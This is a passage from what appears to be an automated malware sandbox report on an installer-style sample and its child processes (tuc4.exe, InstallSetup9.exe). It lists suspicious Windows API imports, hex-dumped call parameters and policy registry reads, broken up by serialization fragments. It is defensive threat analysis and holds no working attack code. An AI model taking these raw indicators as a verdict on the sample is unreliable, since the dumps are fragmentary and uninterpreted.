"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetSystemDefaultLCID" (Indicator: "GetSystemDefaultLCID"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "EnumSystemLocalesA" (Indicator: "EnumSystemLocales"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetSystemDefaultLCID" (Indicator: "GetSystemDefaultLCID"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp")2e:Tfe0,file/memory contains long string with (Indicator: "sendmessage"; File: "INetC.dll") file/memory contains long string with (Indicator: "findwindow"; File: "unins000.dat") Found reference to API "FINDWINDOWBYCLASSNAME" (Indicator: "findwindow"; File: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "FINDWINDOWBYWINDOWNAME" (Indicator: "findwindow"; File: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "SENDMESSAGE" (Indicator: "sendmessage"; File: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "POSTMESSAGE" (Indicator: "postmessage"; File: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "SendMessageA" (Indicator: "sendmessage"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "FindWindowExW" (Indicator: "findwindow"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "EnumChildWindows" (Indicator: "enumchildwindows"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "PostMessageW" (Indicator: "postmessage"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "EnumWindows" (Indicator: "enumwindows"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "FindWindowW" (Indicator: "findwindow"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "SendMessageW" (Indicator: "sendmessage"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "SendMessageTimeoutW" (Indicator: "sendmessage"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "SendMessageTimeoutA" (Indicator: "sendmessage"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "FindWindowA" (Indicator: "findwindow"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "PostMessageA" (Indicator: "postmessage"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "function FindWindowByClassName(const ClassName: String): HWND;" (Indicator: "findwindow"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "function FindWindowByWindowName(const WindowName: String): HWND;" (Indicator: "findwindow"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "function SendMessage(const Wnd: HWND; const Msg, WParam, LParam: Longint): Longint;" (Indicator: "sendmessage"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "function PostMessage(const Wnd: HWND; const Msg, WParam, LParam: Longint): Boolean;" (Indicator: "postmessage"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "FINDWINDOWBYCLASSNAME" (Indicator: "findwindow"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp, 00000000-00001444.00000000.109009.04870000.00000004.mdmp, 00000000-00001444.00000001.110931.04870000.00000004.mdmp") Found reference to API "FINDWINDOWBYWINDOWNAME" (Indicator: "findwindow"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp, 00000000-00001444.00000000.109009.04858000.00000004.mdmp, 00000000-00001444.00000000.109009.04870000.00000004.mdmp, 00000000-00001444.00000001.110931.04858000.00000004.mdmp, 00000000-00001444.00000001.110931.04870000.00000004.mdmp") Found reference to API "SENDMESSAGE" (Indicator: "sendmessage"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "POSTMESSAGE" (Indicator: "postmessage"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp, 00000000-00001444.00000000.109009.04870000.00000004.mdmp, 00000000-00001444.00000001.110931.04870000.00000004.mdmp")2f:T1d8e,"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f000002000000000000000000000000000000000000000000000000000000000000000000000000000000180000001649b86c13921173b800cf01687df47460f0cf01b0bf1173ba36641efeffffff7cefcf012276107320efcf010000477518f0cf013b761073e0df857708000000000000000000000000000000000000000000000000000000000000000100000000000000ffffffffffffffff3400000000000000a8efcf010000000008000000000000000000000000000000000000000000000000004775fe48b86c00000000e8efcf016992e175ffffffff34000000a8efcf0108000000000000000000477518f0cf012794e175b0efcf010b0000000000000000f0cf01 (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000028e35508cce25508226ed7740000f705000000002d6ed77430349ed32d000000ecb7517650e355080000950138f4df03d08fda030d0000008000000090e255080000950114e3550870c8d87404a716affeffffff2d000000d0cc607627000000e4e25508856ad9741c23de7424e35508f85fd97408000000bb69d874b269d874d8359ed32d000000ecb7517627000000d0cc6076f8e255082d000000d0cc60762700000028e35508856ad9741c23de7470e355087e8a5f76ee8c5f76738a5f76c61da26f2d000000ecb7517627000000d0cc6076cc2af705602af705c61da26f38e35508fc529d7624e45508e0845f768e0f6c11feffffff738a5f76 (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ffff0000000058ce550838cfb0777427d803c4ce5508010000002827d8037427d8032827d803040000000400000000e0eb7500100000c4ce5508010000002827d803cd97b0779c97b077c4d92013b50fe2752827d8030000b077000000003414966d0000000080eee8750100000000000000f8e2eb75000000000400000080a945744840ea75f8e2eb75c8ce550880e80376c817df0380e80376c4ce55080000000080e8037600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000d6f7e003ecf7e003 (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000001679e1032e79e103 (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000d6f7e003eaf7e003 (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000468fe1035e8fe103 (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000d6f7e003ecf7e003 (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000007e96e1039696e103 (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000deb1e103f6b1e103 (UID: 00000000-00008776)30:Ta66,"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008776) "tuc4.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000214000e8f7f300482140004f214000409c4000409c4000030000008c030d056c030d0520000000c522400014f8f300ee224000f5224000409c40000300000000f8f300000000000cf8f300b6254000dd314000409c400009040000fb55400003564000409c4000409c40000030de000000000000000000000000002cf8f300 (UID: 00000000-00008828) "tuc4.tmp" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000214000f8f85b00fc214000032240007072490070724900030000008c0384046c038404200000007923400024f95b00a2234000a9234000707249000300000010f95b00000000001cf95b006a2640004534400070724900090400006f89400077894000707249007072490000a02e000000000000000000000000003cf95b00 (UID: 00000000-00001444) "tuc4.tmp" called "GetVersionExA" with parameter 940000000600000002000000f023000002000000000a14004e08430000000000b4f85b00dbc0002e00084300000000009cf85b000cf95b0050f95b0050d43e75bdaaf450feffffff1c2f3c75632b3c750cf95b00000000005cf95b000b0843000cf95b00576e6450726f63507472303034303030303030303030314336300000007249000000400000090114601c000000a02e00 (UID: 00000000-00001444) "tuc4.tmp" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000000000f023000002000000000a14004e08430000000000b4f85b00dbc0002e00084300000000009cf85b000cf95b0050f95b0050d43e75bdaaf450feffffff1c2f3c75632b3c750cf95b00000000005cf95b000b0843000cf95b00576e6450726f635074723030343030303030303030303143363000000072490000004000 (UID: 00000000-00001444) "tuc4.tmp" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001444) "tuc4.tmp" called "GetVersionExA" with parameter 9c0000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000abfd3a963cf95b007320480000006c741c21480001000000090000000010000000000100fffffeff0300000002000000d8210000000001000600004f (UID: 00000000-00001444)31:T543,Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetSystemTime" (Indicator: "GetSystemTime"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetSystemTimeAdjustment" (Indicator: "GetSystemTime"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetSystemTime" (Indicator: "GetSystemTime"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp")32:T405,Found reference to API "GetDiskFreeSpaceExA" (Indicator: "GetDiskFreeSpace"; File: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "GetDiskFreeSpaceW" (Indicator: "GetDiskFreeSpace"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetDiskFreeSpaceA" (Indicator: "GetDiskFreeSpace"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GlobalMemoryStatus" (Indicator: "GlobalMemoryStatus"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetDiskFreeSpaceExA" (Indicator: "GetDiskFreeSpace"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "GetDiskFreeSpaceA" (Indicator: "GetDiskFreeSpace"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "GetDiskFreeSpaceW" (Indicator: "GetDiskFreeSpace"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp")33:T86c,"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "InstallSetup9.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "InstallSetup9.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "288c47bbc1871b439df19ff4df68f076.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "tuc4.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "tuc4.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "BroomSetup.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "tuc4.tmp" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "tuc4.tmp" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "aviformattertool.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "net1.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME")34:T514,Found reference to API "FileTimeToLocalFileTime" (Indicator: "FileTimeToLocalFileTime"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetFileTime" (Indicator: "GetFileTime"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "FileTimeToLocalFileTime" (Indicator: "FileTimeToLocalFileTime"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp")35:T671,Found reference to API "GetMonitorInfoA" (Indicator: "GetMonitorInfo"; File: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "GetMonitorInfoW" (Indicator: "GetMonitorInfo"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "ExpandEnvironmentStringsW" (Indicator: "ExpandEnvironmentStrings"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetMonitorInfoA" (Indicator: "GetMonitorInfo"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "GetNativeSystemInfo" (Indicator: "GetNativeSystemInfo"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "ExpandEnvironmentStringsW" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00001444.00000000.109009.004A0000.00000002.mdmp") Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00001444.00000000.109009.004A0000.00000002.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "RtlNtStatusToDosErrorNoTeb" (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00001444.00000001.110931.725C1000.00000020.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp")36:T543,Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetSystemTime" (Indicator: "GetSystemTime"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetSystemTimeAdjustment" (Indicator: "GetSystemTime"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetSystemTime" (Indicator: "GetSystemTime"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp")37:Te13,Found reference to API "GetWindowTextLengthW" (Indicator: "GetWindowText"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "FindWindowExW" (Indicator: "FindWindow"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "EnumWindows" (Indicator: "EnumWindows"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "FindWindowW" (Indicator: "FindWindow"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "FindWindowA" (Indicator: "FindWindow"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetWindowTextA" (Indicator: "GetWindowText"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "function FindWindowByClassName(const ClassName: String): HWND;" (Indicator: "FindWindow"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "function FindWindowByWindowName(const WindowName: String): HWND;" (Indicator: "FindWindow"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "GetWindowTextA" (Indicator: "GetWindowText"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "FindWindowA" (Indicator: "FindWindow"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "EnumWindows" (Indicator: "EnumWindows"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "5398186770,7264,110,,EnumWindows,user32.MV" (Indicator: "EnumWindows"; Source: "00000000-00001444.00000000.109009.028F0000.00000004.mdmp") Found reference to API "FindWindowByClassName" (Indicator: "FindWindow"; Source: "00000000-00001444.00000000.109009.04870000.00000004.mdmp, 00000000-00001444.00000001.110931.04870000.00000004.mdmp") Found reference to API "EnumWindows" (Indicator: "EnumWindows"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "FindWindowExW" (Indicator: "FindWindow"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "FindWindowW" (Indicator: "FindWindow"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp")38:T7d7,Found reference to API "GetUserDefaultUILanguage" (Indicator: "GetUserDefaultUILanguage"; File: "00000000-00008828.00000001.110829.00401000.00000020.mdmp") Found reference to API "GetSystemDefaultUILanguage" (Indicator: "GetSystemDefaultUILanguage"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetKeyboardLayoutNameW" (Indicator: "GetKeyboardLayout"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetKeyboardLayoutList" (Indicator: "GetKeyboardLayoutList"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetKeyboardLayout" (Indicator: "GetKeyboardLayout"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetUserDefaultLangID" (Indicator: "GetUserDefaultLangID"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetKeyboardType" (Indicator: "GetKeyboardType"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetUserDefaultUILanguage" (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "GetUserDefaultLangID" (Indicator: "GetUserDefaultLangID"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "GetSystemDefaultLangID" (Indicator: "GetSystemDefaultLangID"; Source: "00000000-00001444.00000000.109009.004A0000.00000002.mdmp") Found reference to API "GetKeyboardLayout" (Indicator: "GetKeyboardLayout"; Source: "00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "GetKeyboardLayoutList" (Indicator: "GetKeyboardLayoutList"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "GetKeyboardLayoutNameW" (Indicator: "GetKeyboardLayout"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp")39:Tcc8,Found reference to API "!This program cannot be run in DOS mode.RichW.text`.rdata@.relocQSUV^][YD$ EHD$ 